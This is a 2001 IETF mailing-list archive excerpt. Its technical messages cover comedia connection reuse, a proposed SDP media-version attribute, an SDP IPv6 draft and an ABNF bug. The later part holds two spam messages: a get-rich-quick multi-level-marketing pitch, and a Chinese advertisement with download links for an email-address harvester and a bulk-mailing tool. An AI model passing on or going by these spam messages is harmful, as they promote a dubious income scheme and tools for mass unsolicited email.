Message-ID: <3C1649D0.C9372631@cisco.com>
Date: Tue, 11 Dec 2001 13:00:48 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <Yon@Dialout.net>
CC: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Action items from MMUSIC meeting for comedia-01
References: <DCFB33B6D8BCC54B8219D8B90645866E13BD57@dnimail.Dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

	Paul

> David Yon wrote:
> 
> 1. I need to make sure that comedia syntax aligns with sdp-new.  I'll
> go over the draft and work with Colin to resolve any conflicts.
> 
> 2. Symmetric RTP (UDP?) needs to be added as a transport type.  There
> were at least two offers to supply wording as to how that is defined.
> Any takers?
> 
> 3. There was one vote to eliminate "direction:reuse", with the
> implicit assumption that endpoints are free to send new media streams
> over a connection that has already been established.  Any dissent?
> Paul Kyzivat had provided the original motivation for its inclusion.
> Paul: do you have any issues there?  If not, I will remove
> direction:reuse and replace with wording that describes the
> aforementioned assumption.

I don't know what "endpoints are free to send new media streams over a
connection that has already been established" means. With comedia, the
purpose of the sdp is to define how and when to establish a connection.
As far as I know, once that connection is established, it can be used
for at most one media stream in each direction. (That may not quite be
true for SCTP, but that has its own ID.)

The fundamental issue is that after having handed out some SDP
containing a comedia based media description, I must be prepared to
accept a connection on the specified port for some period of time. But
it is important to be able to bound that period of time. For instance,
once a connection has been accepted, I need the option to stop listening
for new connections, unless there is an exchange of new SDP. And if
there is an exchange of new SDP, I still need to distinguish the case
where there is no intent to change this particular media session from
the case where that is exactly the intent. To achieve that, there needs
to be something in the SDP that permits me to distinguish the two cases.

As I have posted elsewhere, I don't think that direction:reuse is quite
the right solution, because it isn't idempotent. Rather, I think that
there should be something in the SDP that must change in a reinvite as a
precondition to establishing a new connection.

It is a bit difficult to discuss this independently of the context in
which the SDP is distributed and used. I think the usage rules (and
needs) might be different for SDP distributed via SAP than it is for SDP
exchanged via SIP.

The reason this is important is because there is no reliable way to
share the same listening port among multiple SDP media descriptions and
correlate a given connection established to that port with a particular
one of those descriptions. As a result, I am forced to establish a new
listening port, and listener, for each media description. This is an
expensive price to pay, and gets more expensive the longer you have to
keep it.

So the bottom line is that I don't agree with simply removing
a=direction:reuse without replacing it with something else. I have two
alternatived proposals for what could replace it:

1) change the definition of o= in SDP so that it may appear in both the
Session description and in Media descriptions. As with other lines that
can appear in both places, an o= in the session description would serve
as a default for media descriptions that have none of their own. Then,
use changes in the o= to indicate changes in a particular media
description. Checking the o= line for a media description would then be
a way to determine if that has changed between two copies of the SDP.
For comedia, if the media description has changed, then the connection
establishment must be done again, but if it is unchanged, then any
existing media session would continue to be used.

2) add a new a= line to serve the same purpose as (1). For instance,
      a=mediaversion:NNN
Require this line with comedia. Require the value NNN to increase every
time the media description is modified. If NNN increases in a comedia
media description, then do connection establishment again. If NNN is
unchanged, continue to use an existing media session.

I believe (1) to be the cleaner solution. But it requires changes to
SDP. If that is unacceptable, then (2) gets the job done. It is
essentially just a different syntax for (1).

	Paul

From confctrl-owner  Tue Dec 11 12:19:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA12015
	for confctrl-outgoing; Tue, 11 Dec 2001 12:19:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA12010
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 12:19:52 -0800 (PST)
Received: from imr2.ericy.com (imr2.ericy.com [12.34.240.68])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBBKKag22939;
	Tue, 11 Dec 2001 12:20:36 -0800 (PST)
Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14])
	by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id fBBKKUY23230;
	Tue, 11 Dec 2001 14:20:30 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id fBBKKUY06549;
	Tue, 11 Dec 2001 14:20:30 -0600 (CST)
Received: from lmf.ericsson.se (rmt160208.am.ericsson.se [138.85.160.208]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA29686; Tue, 11 Dec 2001 14:20:28 -0600 (CST)
Message-ID: <3C16707B.FC30597B@lmf.ericsson.se>
Date: Tue, 11 Dec 2001 22:45:47 +0200
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
CC: "Sean Olson (EUS)" <sean.olson@ericsson.com>, Colin Perkins <csp@ISI.EDU>,
        Joerg Ott <jo@tzi.uni-bremen.de>
Subject: draft-olson-sdp-ipv6-02.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

sorry for the confusion with the version number of the draft. It seems
that version 02 was not stored in the archives for some reason, and
version 03 was rejected.

Anyway, the latest version of the draft is now 02 and it can be fetched
from:

http://standards.ericsson.net/gonzalo/papers/draft-olson-sdp-ipv6-02.txt

After the IETF it will appear properly in the archives.

Best regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Dec 11 19:12:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA26663
	for confctrl-outgoing; Tue, 11 Dec 2001 19:12:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA26657
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 19:12:31 -0800 (PST)
Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBC3DEg14824;
	Tue, 11 Dec 2001 19:13:15 -0800 (PST)
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fBC3E0A06126;
	Wed, 12 Dec 2001 05:14:00 +0200 (EET)
Received: from esebh24nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T57c5e0b797ac158f23136@esvir03nok.nokia.com>;
 Wed, 12 Dec 2001 05:13:13 +0200
Received: by esebh24nok with Internet Mail Service (5.5.2652.78)
	id <YGAJVMSC>; Wed, 12 Dec 2001 05:13:11 +0200
Message-ID: <009CA59D1752DD448E07F8EB2F9117578F0F9E@esebe004.NOE.Nokia.com>
From: Jari.Selin@nokia.com
To: csp@ISI.EDU
Cc: confctrl@ISI.EDU
Subject: RE: draft-ietf-mmusic-sdp-new-04.txt 
Date: Wed, 12 Dec 2001 05:13:08 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I think there is a bug in the ABNF. s= is defined mandatory, but in the ABNF
is defined optional:

The ``s='' field is the session name.  There MUST be one and only one
``s='' field per session description, and it SHOULD contain ISO 10646
characters (but see also the `charset' attribute below). If a session
has no meaningful name, the value ``s=-'' SHOULD be used.

 session-name-field =  ["s=" text CRLF]

And another thing needs clarification:

"it SHOULD contain ISO 10646 characters" 

Does this mean that it should contain characters (ie it should not be empty)
or does it mean that the characters it contains should be ISO 10646. It's
not a problem here though because of the next sentence but I think it should
be clarified.

	Jari

-
Jari.Selin@nokia.com +358 50 48 37563
Nokia Research Center / COM

From confctrl-owner  Tue Dec 11 19:54:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA28265
	for confctrl-outgoing; Tue, 11 Dec 2001 19:54:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA28260
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 19:54:20 -0800 (PST)
Received: from 100m.mpr200-1.esr.lvcm.net (IDENT:mirapoint@100m.mpr200-1.esr.lvcm.net [24.234.0.80])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBC3t6g27206
	for <confctrl@isi.edu>; Tue, 11 Dec 2001 19:55:06 -0800 (PST)
Received: from prontomail.com (cm237.239.234.24.lvcm.com [24.234.239.237])
	by 100m.mpr200-1.esr.lvcm.net (Mirapoint)
	with ESMTP id ATG55103;
	Tue, 11 Dec 2001 19:46:54 -0800 (PST)
Message-ID: <2650013-220011231234646670@prontomail.com>
X-EM-Version: 6, 0, 0, 4
X-EM-Registration: #00F06206106618006920
X-Priority: 3
Reply-To: de_Courville@prontomail.com
To: "K" <de_Courville@prontomail.com>
From: "A PROVEN $$ MAKER" <de_Courville@prontomail.com>
Subject: A PROVEN HOME BUSINESS
Date: Tue, 11 Dec 2001 19:46:46 -0800
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id TAA28261
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The Fastest Way To Earn $2000+ EVERY Month Online -
PLUS FREE SOFTWARE !!

Click here: http://www.PROVEN-HOME-BUSINESS.NET

We can share with you a way to earn $1000's per month
on the Internet and receive GUARANTEED monthly checks
that will continue to grow.

Making money on the Internet has never been EASIER !
We will show you how !

Join Free and get your own free web site where you can
watch your downline grow before your eyes !! Check
it daily then you decide !!

Lock in Your Position Today and we'll show you how to
get your FREE Promotional Software
that will increase traffic to ANY web site !!
See for Yourself !

Click here: http://www.PROVEN-HOME-BUSINESS




To remove -Return with REMOVE



From confctrl-owner  Wed Dec 12 08:30:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA24204
	for confctrl-outgoing; Wed, 12 Dec 2001 08:30:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA24199
	for <confctrl@zephyr.isi.edu>; Wed, 12 Dec 2001 08:30:11 -0800 (PST)
Received: from mail_server.moutaichina.com ([202.98.222.66])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBCGUtg27362
	for <confctrl@isi.edu>; Wed, 12 Dec 2001 08:30:56 -0800 (PST)
Received: from LOCAL ([61.182.92.21] unverified) by mail_server.moutaichina.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Wed, 12 Dec 2001 22:29:10 +0800
Date: 2001-12-12 22:17:06
From: =?ISO-8859-1?Q?=BF=C6=C0=B6=C8=ED=BC=FE=B9=A4=D7=F7=CA=D2?=<myname@moutaichina.com>
Reply-to: "=?ISO-8859-1?Q?l_cx@163.net?="<myname@moutaichina.com>
To: =?ISO-8859-1?Q??=<zhenwentan@163.com>
Cc: 
Subject: =?ISO-8859-1?Q?=C8=ED=BC=FE=CD=C6=BC=F6?=
X-Priority: 1 (Highest)
X-mailer: CDmail3.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="======Q0RtYWlsNTA3OQ========"
Message-ID: <MAIL_SERVERrCjisR1u00000395@mail_server.moutaichina.com>
X-OriginalArrivalTime: 12 Dec 2001 14:29:11.0643 (UTC) FILETIME=[5DEEB2B0:01C18319]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--======Q0RtYWlsNTA3OQ========
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: quoted-printable

=C4=FA=BA=C3=A3=A1

=CD=C6=BC=F6=C1=BD=BF=EE=20WINDOWS=20=B9=A4=BE=DF=C8=ED=BC=FE=A3=BA

=20=20=20=20=D2=BB=A1=A2=BF=C6=C0=B6=D3=CA=BC=FE=B5=D8=D6=B7=CB=D1=D1=B0=B9=A4=BE=DF=20CKmail=203.0=20
=20=20=20=20=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

=20=20=20=20=C8=ED=BC=FE=CB=B5=C3=F7=A3=BA
=20=20=20=20CKmail=203.0=20=CA=C7=D2=BB=BF=EE=20WINDOWS=20=BB=B7=BE=B3=CF=C2=B5=C4=D3=CA=BC=FE=B5=D8=D6=B7=CB=D1=D1=B0=B9=A4=BE=DF=A3=AC=20=D3=C3=CB=FC=C4=FA=BF=C9=D2=D4=B0=D1=C4=FA=BB=FA=C6=F7=B5=C4=D3=B2=C5=CC=C7=FD=B6=AF=C6=F7=BB=F2=D3=B3=C9=E4=C7=FD=B6=AF=C6=F7=B5=C4=20Email=20=B5=D8=D6=B7=CB=D1=BC=AF=B5=BD=D2=BB=C6=F0=A3=ACInternet=20Cache=20=BA=CD=BB=D8=CA=D5=D5=BE=C0=EF=B5=C4=CE=C4=BC=FE=D2=B2=B2=BB=BB=E1=C2=A9=CD=F8=A3=AC=C8=E7=B9=FB=C4=FA=D4=B8=D2=E2=A3=AC=C4=FA=C9=F5=D6=C1=BF=C9=D2=D4=D3=C3=CB=FB=D4=DA=20.EXE=20=CE=C4=BC=FE=C0=EF=CB=D1=D1=B0=A1=A3=20

=20=20=20=20CKmail=203.0=20=D6=A7=B3=D6=201000000=20=CA=FD=C1=BF=BC=B6=B5=C4=B5=E7=D7=D3=D3=CA=BC=FE=CB=D1=D1=B0=A3=AC=B2=A2=C7=D2=CB=D1=D1=B0=CB=D9=B6=C8=B2=BB=BB=E1=D3=D0=CB=E6=CB=D1=D1=B0=B5=BD=B5=C4=B5=E7=D7=D3=D3=CA=BC=FE=CA=FD=C1=BF=D4=F6=BC=D3=B6=F8=B1=E4=C2=FD=B5=C4=B8=D0=BE=F5=A1=A3=20

=20=20=20=20CKmail=203.0=20=BF=C9=D2=D4=D6=B8=B6=A8=B4=FD=CB=D1=CB=F7=B5=C4=CE=C4=BC=FE=C0=E0=D0=CD=A1=A2=C4=BF=C2=BC=B7=B6=CE=A7=A3=AC=BF=C9=D2=D4=D6=B8=B6=A8=C4=BF=C2=BC=D7=E9=BA=CF=A3=AC3.0=20=B0=E6=B1=BE=D6=A7=B3=D6=CA=E4=B3=F6=B8=F1=CA=BD=B6=A8=D2=E5=A3=ACCKmail=20=CA=E4=B3=F6=B5=C4=B5=D8=D6=B7=CE=C4=BC=FE=BF=C9=D2=D4=B7=BD=B1=E3=B5=C4=B1=BB=C6=E4=CB=FB=B5=C4=D3=CA=BC=FE=B3=CC=D0=F2=CA=B9=D3=C3=A1=A3=D2=D4=C7=B0=B0=E6=B1=BE=B5=C4=20Email=20=B5=D8=D6=B7=B9=FD=C2=CB=A1=A2=CE=C4=BC=FE=CF=DE=B3=A4=B6=A8=D2=E5=B5=C8=B9=A6=C4=DC=C8=D4=C8=BB=D3=D0=D0=A7=A1=A3=20

=20=20=20=20=D4=CB=D0=D0=BB=B7=BE=B3=A3=BAwin9x/NT/2000
=20=20=20=20=C8=ED=BC=FE=B4=F3=D0=A1=A3=BA1.6M

=20=20=20=20=CF=C2=D4=D8=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/data/ckmail.exe
=20=20=20=20=D6=F7=D2=B3=B5=D8=D6=B7=A3=BAhttp://clansoft.yeah.net

=20=20=20=20=B6=FE=A1=A2=BF=C6=C0=B6=B5=E7=D7=D3=D3=CA=BC=FE=C8=BA=B7=A2=B9=A4=BE=DF=20CDmail=203.0=20
=20=20=20=20=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

=20=20=20=20=C8=ED=BC=FE=CB=B5=C3=F7=A3=BA
=20=20=20=20CDmail=203.0=20=CA=C7=D2=BB=BF=EE=20WINDOWS=20=BB=B7=BE=B3=CF=C2=B5=C4=D3=CA=BC=FE=C8=BA=B7=A2=B9=A4=BE=DF=A3=AC=20=D3=C3=CB=FC=C4=FA=BF=C9=D2=D4=D2=BB=B4=CE=B7=A2=CB=CD=B3=C9=C7=A7=C9=CF=CD=F2=B7=E2=B5=E7=D7=D3=D3=CA=BC=FE=B8=F8=B2=BB=CD=AC=B5=C4=D3=C3=BB=A7=A1=A3=B5=E7=D7=D3=D3=CA=BC=FE=CB=F9=D3=D0=B5=C4=D2=AA=CB=D8=B6=BC=BF=C9=D2=D4=D7=D4=D3=C9=C9=E8=D6=C3[=B1=C8=C8=E7=B7=A2=BC=FE=C8=CB=A1=A2=CA=D5=BC=FE=C8=CB=B5=C8=B5=C8]=A3=AC=CD=BC=D0=CE=BB=AF=B5=C4=BD=E7=C3=E6=C8=DD=D2=D7=C9=CF=CA=D6=A1=A3=20

=20=20=20=203.0=20=B0=E6=B1=BE=D6=A7=B3=D6=20HTML=20=B8=F1=CA=BD=B5=C4=D3=CA=BC=FE,=20=D6=A7=B3=D6=B8=BD=BC=FE,=20=D6=A7=B3=D6big5=B7=B1=CC=E5=D3=CA=BC=FE,=20=D6=A7=B3=D6=D3=C3=BB=A7=D1=E9=D6=A4,=20=BF=C9=D2=D4=C9=E8=B6=A8=D3=CA=BC=FE=D3=C5=CF=C8=BC=B6=B5=C8=B5=C8=A3=BB3.0=20=B0=E6=B1=BE=BB=B9=D4=F6=BC=D3=C1=CB=20SMTP=20=D3=CA=BC=FE=B7=FE=CE=F1=C6=F7=B2=E9=D5=D2=B9=A6=C4=DC=A3=AC=C3=E2=C8=A5=C1=CB=D3=C3=BB=A7=D7=D4=BC=BA=B2=E9=D5=D2=20SMTP=20=B5=C4=C2=E9=B7=B3[=CA=B9=D3=C3=BF=C6=C0=B6=D3=CA=BC=FE=B5=D8=D6=B7=CB=D1=D1=B0=B9=A4=BE=DF=20CKmail=203.0=20=BF=C9=D2=D4=B5=C3=B5=BD=B4=F3=C1=BF=B5=E7=D7=D3=D3=CA=BC=FE=B5=D8=D6=B7=A3=AC=D3=C3=D3=DA=20SMTP=20=B7=FE=CE=F1=C6=F7=B5=C4=B2=E9=D5=D2]=A1=A33.0=20=B0=E6=B1=BE=D6=A7=B3=D6=B9=FA=CD=E2=B5=C4=20SMTP=20=B7=FE=CE=F1=C6=F7=A3=AC=CE=C8=B6=A8=D0=D4=BA=C3=A3=AC=D6=A7=B3=D6=D0=F8=B7=A2=A3=A1=20=09

=20=20=20=20=D4=CB=D0=D0=BB=B7=BE=B3=A3=BAwin9x/NT/2000
=20=20=20=20=C8=ED=BC=FE=B4=F3=D0=A1=A3=BA1.7M

=20=20=20=20=CF=C2=D4=D8=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/data/cdmail.exe
=20=20=20=20=D6=F7=D2=B3=B5=D8=D6=B7=A3=BAhttp://clansoft.yeah.net


=CD=C6=BC=F6=D2=BB=BF=EE=20UNIX=20=C8=ED=BC=FE=A3=BA

=20=20=20=20=BF=C6=C0=B6=BC=AF=B3=C9=BF=AA=B7=A2=CF=B5=CD=B3=20for=20UNIX
=20=20=20=20=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

=AC=EC=AC=ECUNIX=20=CF=C2=B5=C4=BC=AF=B3=C9=B9=A4=BE=DF=BC=AF=A3=AC=B0=FC=C0=A8=B2=CB=B5=A5=C7=FD=B6=AF=C6=F7=A3=AC=B6=FE=BD=F8=D6=C6=C6=C1=C4=BB=B1=E0=BC=AD=C6=F7=A3=AC=CD=BC=D0=CE=B0=FC=A3=AC=D3=A2=BA=BA=CB=AB=CF=F2=C4=A3=BA=FD=B4=CA=B5=E4=A3=AC=B1=B3=B5=A5=B4=CA=A3=AC=BC=B8=B8=F6=D0=A1=D3=CE=CF=B7=D2=D4=BC=B0=C6=E4=CB=FB=D6=DA=B6=E0=B9=A4=BE=DF=A1=A3

=20=20=20=20=D4=CB=D0=D0=BB=B7=BE=B3=A3=BASCO=20UNIX
=20=20=20=20=C8=ED=BC=FE=B4=F3=D0=A1=A3=BA1.8M

=20=20=20=20=CF=C2=D4=D8=C1=AC=BD=D3=A3=BAhttp://clansoft.51.net/data/clan.zip
=20=20=20=20=D6=F7=D2=B3=B5=D8=D6=B7=A3=BAhttp://clansoft.yeah.net



-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-
=B1=BE=D3=CA=BC=FE=D3=C9=C8=BA=B7=A2=B9=A4=BE=DF=20CDmail=203.0=20=B7=A2=CB=CD=A3=AC=20=D3=CA=BC=FE=C4=DA=C8=DD=D3=EB=C8=ED=BC=FE=D7=F7=D5=DF=CE=DE=B9=D8
This=20email=20is=20send=20by=20<CDmail=203.0>,=20developed=20by=20ClanSoft
=20=20=20=20=20ClanSoft's=20homepage=20is=20http://clansoft.yeah.net
-=3D=20=B7=A2=B2=BC=D0=C5=CF=A2=20=D5=D2=D0=C5=CF=A2=B1=A6=20http://clansoft.51.net/gb/xxb.htm=20=3D-

--======Q0RtYWlsNTA3OQ========
Content-Type: application/octet-stream; name="С½çÃæ.GIF"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="С½çÃæ.GIF"

R0lGODdhZABQAP8AAPyp/Pyz9/qa+um21/e26Nq4xPC23sW5qKS5ebG5jNS5u+K3y8q5tJu5c7e4maq6h4W4VYK3TPab65G1XZW4asaFxpylg+uY7Iu2Y8F9wn22TKy2kuem57qzp6eJmd630JKdeO2j8dio2Omz5sG5nbeFtqWpiMiVyKK1arJ4sZeoZ6WsdqyFqJzVbHy2VNSnt9ua2eyZ+KLXcquolfWl6bmZqJ3WcbWKqbfEkMeqq9aryJmPiZajeImnZcWZuM6ww4eoWc6uw3iobc2L0OWpyOOj2pGNfIeXVoeWacequKmZpLapmOOZ26SoaqHYbHypW6WbjKWGaLiLmJWnWcOXppmYZ73Co4yVdIuJdtSYyLbEf/Od3JZ4aN2S44uod4l6TdKmrLyZs9eXto2NKcSOp5eKWklyV4d0eXp1RrS7eoioR3aHRoiKaZvOaVJ2ao6mrceNvZOWWc7Ts6yYe4iFS3qkR3eVZ6mIenhXaJV3i7amhsmom8jRmtS4rNeX/bt7wo2zdn1bPHmWW8DAwGtKXqaYmXRHbriYl96n4HE1c7uDwNOF2NiLyIuDUItwUrOlfrich7BznFiKaIKYSnV3O+WxvbNfrMV4vIFRZ9vosq2CsIx4Y2GHVqB+WeiFxonDVFSJVWuYVZVoUKGKXpWAYcWD7G5tTmt1XDFQXXpCrJFTksabka1kjWx8Q3tpPXmSO7KJeZBre7SafZlkgIg7i4NXesGmiXyWSZxaoqRpmbCmaNiXp6CgpH9uQKyrU4ZsUmdyLWmGQ26qVDhgRmVdLIZVUaSoOXVOMdWK8YloR9mH7cWQ/MiJ8eaO8q99lsqOllQplJlNdJ5mb5I5b555caidb65YibR6eYtigmWig65ZkjhVdUJbeZdnkZZ5V31cV3hCWpBbxfDHz+eL1qBizX5wVpdqo8W/aY5hmHdxbM7CXMDcwNSFtJRRYwAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAZABQAAAI/wCdfIoAYQKGJgiboGiAoCGCBBATkJh4IEefAxgZKNhYoOOCBR8GiBRpwACBkygDqFypEoDLlzBjynQpoGZNCRK2eNpSM4ZNAU4gaCiIAmGVKihQNHyQYANEB0v0kMgB5hCJjBs5Fvi4YCRJkygJsBw7s6zZnxIYsYqmjaeAGMqaCZBBcEKTMmXofGnUZAVTiHrm6LEVhcuSHKuoQTmgMWvHrR+9lgSbcuxKs5hn1gyRS9q1duze+glXyo+MCUBQlPnCGm+1R4/0PJIVJQokWVzu7Dl0h8shxo4fc5VcMqxYyy0zK38Z4gQmb1GKsZIQYxm0VMxOq4jTCM2XUaM6df+qHUWUKEdzCHOBtKf3nRwKGGh87PFDyJGTjSNvGQBA/+UwCfCSABzEUg4ldHwTCXXkpFKadmjQQQkxrjTSiyuBJBPIMYGgR8ovm8wBCReG9dGHfPTVZx9xlB2H3Ev/ARhgTRyQsQkaaMRSRE3I+BFDDHRNAswat6xxhAo9JFlFHGUclYCTSzgAxQwYAaeVRyDd91VxJ+13mYwy/cQBDM7MAoMEPfkkQAsRTPJKHRAAgQEFFDTAEAIPMOVUAg70eVWVVl5ZgH0r4teii17uh1lNL0kQAgcc0PCTTS1AEAFBBRlU5515RsTnBn36OZEVjMkn30Y/0EeoliKN4OqrsMb/KuuskNZqa60XXPDjT5VCIFSmc9LpUKdNmcCDBcgiawIUzM7g7AxL1CDttNKG4cO12GJ7wrbcduvtt90Ose0Q5A4BBxzllrtIFz/JINSlqKlgkJ134gnRBjwgcQUbV1xhxL9G7CDwwB4UbPDBHtyg8MIMN1zCwxBHLPHEE/8BcQop/KHmXJYWhEEDRzwxgZ3D/oUvD6Dy2cHKVuSQg6mNKfDDzB2tyOpIsnLw6q0891xrEU!
XcCkMJFWxcqQYRCOFFA4LcokKdSxGLrwV+WmEFA4MMErMCwkXGYliJvohZfwICEEIIAsaA5gUVZIBmTUe7oLQdnAQzMgJapIHD3nsn/2CBCVZQtPLK8gURxA8vFOADES8Q4fgA+VWmqH9fysjogDe1/TZQEWggjCTZSAKKEHaiMMURU6igwgorWKAvsg50MEMhvPCixLQ+UPECGS+IIQYZYkAeOaJhJwfgpDZJwPYlm8cNihlmCAEInQ2gsPqwJlwBglMOMDB4EkkwkMQPQXT0wgKOO24A5AS0ODmYMSGfPNtu22TDry480QMGwdZLrAkgoJoDMgKzKw2HRe6zDPw0MykA2IR+m7OBC+A1AYPwj154+l8A/UTAmHVtADcbHvEqRzn4le1yD9Sc/YSiARf4in8jI1lD7gVAAVbJVMGBDEi8IrwEKnCBAaLJCf9rAsEVIg0CT5BTBRdSMojUMFQdzKHXeChClvgHiGESEAqJqEK4XSoCPRCEF7zwseo1MQFP7BMBpfiRm/UQbGTBYhAdOCnldXFNlwICEkBgAjasYQJJyWCemPKADQ6wIjCjD1c+0JWvSS6OchyiEAVQxJoEJQJ6dIAFTNEKFSglDWnQAt/2ZoINBK4DOaiBEsLAyhe48gVBmCJx9CO2SApxkpXkXASecIQEkMIUa/BkUeKwOtYhoIZoXEIHlJCHg1GBClKgAmR4+MZHGk+OdJSfHevnxQjUYQ1V+AIanlY91RWTdSvYo7MGtzKXJUF3sDygI7t0mRhhc4iTymULJqD/ASAc4QiUeBr1GrCCDN7LkFfB4UYSh6VGznOE9sSiJH+SSxkgjSBJrCD1omYyhJbKgw0FIRUP9b4SgkmS2cylBL/oMf5BLWpONOQNT8W1kI6UpD+85y1Tesf7sRRYGDQoGj3KGCsp0qEPraUt6YjLnl60IECggEtlaK+hCvBPWJEiNatJT0hKdKIp5KYAfAoBFfABBwhIClX!
/YlU1rjGH07wpHL1qUsvtNKybuyQEtMCHBPBBmGfcAL5M4NYC1rShrBIhRO15zeWgFK82cdelfHEOXWQirUpBgF9EuTcHCJYEUPFeIW5Xg2eeT56GwildgfhYLopVgi5QgzHUoYs0/yQlKafrgep4wAMQsAEJsFuZEoYrheKCgSuy5GpXSeiSiDr2rq6N4ATVMIbqTgEFFySoUNN4lZfRFAwNRarwjDNCbGLOJk19raWoa10LkmyQMbXhWw/rka1yyZrOZe1P0rs5ulxUDRWcwEBh2lasloqN9r3vYmHSWOW0lpJ3dNdQMkWnCnPqL0/EKk3pm9wtzbWeDM7voqALYbG2gYURCLCAN4qnh7T1kG9NkXg9PNcrmjeb6IUs3PBnkHixWIPyPbCgIoNUxVpRxCaUX3Qp9SsI9CB1RwDCWvXE3Y/O56hFNnJOl7rFEjfPUph8gBZWEIcV2ClvnMWBFXDgFCs4gP8EDBiutBiQgxeAwZVEmLGWt8xaEleUIBFoQCb68gAVMMSfqVPBsfJ1BWTNoAOFMFgNiltc3nVYwRCNSYMz8+BcnhhpQOADHeLQiiNUDwUFzeAGsscDlXkPfEkIwivxPGPl8vmr6OWpWCXszUmY7ggbTTWGZdqBAnYNtT1U7aYXiDxdN08D0PbmKwDMYqFuQKYfhWtkQqjsZSd5vzoGiq+GUpfsCrujVAOUQg/bRm7TcrXMbmC4Pz3hAA/4AVW9dpCzyu4djvTd8D6pFge+ZC9eNMWaCmq+sT3fo1IT00e+MVPlp893+cqCm7rwQalm4A0f++EKVqotGUXROx4NUxj/D6rUNtjxxjic2z70KpIdjE+Vvqvcc1I5ut+sbpd/EOYftiKM+kzycN/vqRXM+Vo37taG2zSpt443jsN9tCOmfOlNYbiQ+63nkEc9yVMv+JpYePGEY13fTRfyy+WK35mDveTqhXbZla7xphwr7R7HkkihvmW3L6rm